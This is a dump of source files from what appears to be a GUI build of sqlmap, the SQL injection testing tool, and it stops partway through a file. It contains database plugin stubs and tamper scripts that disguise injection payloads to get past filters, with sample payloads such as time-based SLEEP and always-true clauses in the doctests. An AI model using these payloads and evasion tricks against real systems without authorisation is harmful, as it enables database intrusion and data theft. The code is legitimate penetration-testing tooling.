-------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/frontbase/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on FrontBase it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on FrontBase it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/frontbase/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/h2/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on H2 it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/h2/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on H2 it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on H2 it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/h2/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/hsqldb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/informix/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/informix/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.takeover import Takeover as GenericTakeover 9 | 10 | class Takeover(GenericTakeover): 11 | def __init__(self): 12 | self.__basedir = None 13 | self.__datadir = None 14 | 15 | GenericTakeover.__init__(self) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/maxdb/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on SAP MaxDB it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/maxdb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on SAP MaxDB reading of files is not supported" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on SAP MaxDB writing of files is not supported" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/maxdb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/mckoi/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on Mckoi it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/mckoi/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Mckoi it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Mckoi it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/mckoi/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/mimersql/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/monetdb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/monetdb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> from lib.core.common import Backend 16 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" 17 | True 18 | """ 19 | 20 | def escaper(value): 21 | return "||".join("CODE(%d)" % _ for _ in getOrds(value)) 22 | 23 | return Syntax._escape(expression, quote, escaper) 24 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/mysql/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 9 | 10 | class Enumeration(GenericEnumeration): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/postgresql/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | 10 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 11 | 12 | class Enumeration(GenericEnumeration): 13 | def getHostname(self): 14 | warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" 15 | logger.warning(warnMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/presto/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Presto it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Presto it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/presto/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/raima/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on Raima Database Manager it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/raima/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Raima Database Manager it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Raima Database Manager it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/raima/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/sqlite/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on SQLite it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on SQLite it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/sqlite/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97,98,99,100,101,102,103,104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "CHAR(%s)" % ','.join("%d" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/sybase/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Sybase it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Sybase it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/vertica/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getRoles(self, *args, **kwargs): 13 | warnMsg = "on Vertica it is not possible to enumerate the user roles" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/vertica/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/vertica/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/virtuoso/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "on Virtuoso it is not (currently) possible to establish a " 14 | errMsg += "direct connection" 15 | raise SqlmapUnsupportedFeatureException(errMsg) 16 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/virtuoso/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "on Virtuoso it is not possible to read files" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "on Virtuoso it is not possible to write files" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-EN/plugins/dbms/virtuoso/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-EN/plugins/generic/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/tamper/0eunion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.HIGHEST 13 | 14 | def dependencies(): 15 | pass 16 | 17 | def tamper(payload, **kwargs): 18 | """ 19 | Replaces instances of UNION with e0UNION 20 | 21 | Requirement: 22 | * MySQL 23 | * MsSQL 24 | 25 | Notes: 26 | * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf 27 | 28 | >>> tamper('1 UNION ALL SELECT') 29 | '1e0UNION ALL SELECT' 30 | """ 31 | 32 | return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload 33 | -------------------------------------------------------------------------------- /GUI-EN/tamper/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-EN/tamper/apostrophenullencode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.LOWEST 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) 18 | 19 | >>> tamper("1 AND '1'='1") 20 | '1 AND %00%271%00%27=%00%271' 21 | """ 22 | 23 | return payload.replace('\'', "%00%27") if payload else payload 24 | -------------------------------------------------------------------------------- /GUI-EN/tamper/base64encode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import encodeBase64 9 | from lib.core.enums import PRIORITY 10 | 11 | __priority__ = PRIORITY.LOW 12 | 13 | def dependencies(): 14 | pass 15 | 16 | def tamper(payload, **kwargs): 17 | """ 18 | Base64-encodes all characters in a given payload 19 | 20 | >>> tamper("1' AND SLEEP(5)#") 21 | 'MScgQU5EIFNMRUVQKDUpIw==' 22 | """ 23 | 24 | return encodeBase64(payload, binary=False) if payload else payload 25 | -------------------------------------------------------------------------------- /GUI-EN/tamper/decentities.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.LOW 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | HTML encode in decimal (using code points) all characters (e.g. ' -> ') 18 | 19 | >>> tamper("1' AND SLEEP(5)#") 20 | '1' AND SLEEP(5)#' 21 | """ 22 | 23 | retVal = payload 24 | 25 | if payload: 26 | retVal = "" 27 | i = 0 28 | 29 | while i < len(payload): 30 | retVal += "&#%s;" % ord(payload[i]) 31 | i += 1 32 | 33 | return retVal 34 | -------------------------------------------------------------------------------- /GUI-EN/tamper/escapequotes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.NORMAL 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | Slash escape single and double quotes (e.g. ' -> \') 18 | 19 | >>> tamper('1" AND SLEEP(5)#') 20 | '1\\\\" AND SLEEP(5)#' 21 | """ 22 | 23 | return payload.replace("'", "\\'").replace('"', '\\"') 24 | -------------------------------------------------------------------------------- /GUI-EN/tamper/hexentities.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.LOW 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) 18 | 19 | >>> tamper("1' AND SLEEP(5)#") 20 | '1' AND SLEEP(5)#' 21 | """ 22 | 23 | retVal = payload 24 | 25 | if payload: 26 | retVal = "" 27 | i = 0 28 | 29 | while i < len(payload): 30 | retVal += "&#x%s;" % format(ord(payload[i]), "x") 31 | i += 1 32 | 33 | return retVal 34 | -------------------------------------------------------------------------------- /GUI-EN/tamper/informationschemacomment.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.NORMAL 13 | 14 | def tamper(payload, **kwargs): 15 | """ 16 | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier 17 | 18 | >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 19 | 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' 20 | """ 21 | 22 | retVal = payload 23 | 24 | if payload: 25 | retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) 26 | 27 | return retVal 28 | -------------------------------------------------------------------------------- /GUI-EN/tamper/ord2ascii.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.HIGHEST 13 | 14 | def dependencies(): 15 | pass 16 | 17 | def tamper(payload, **kwargs): 18 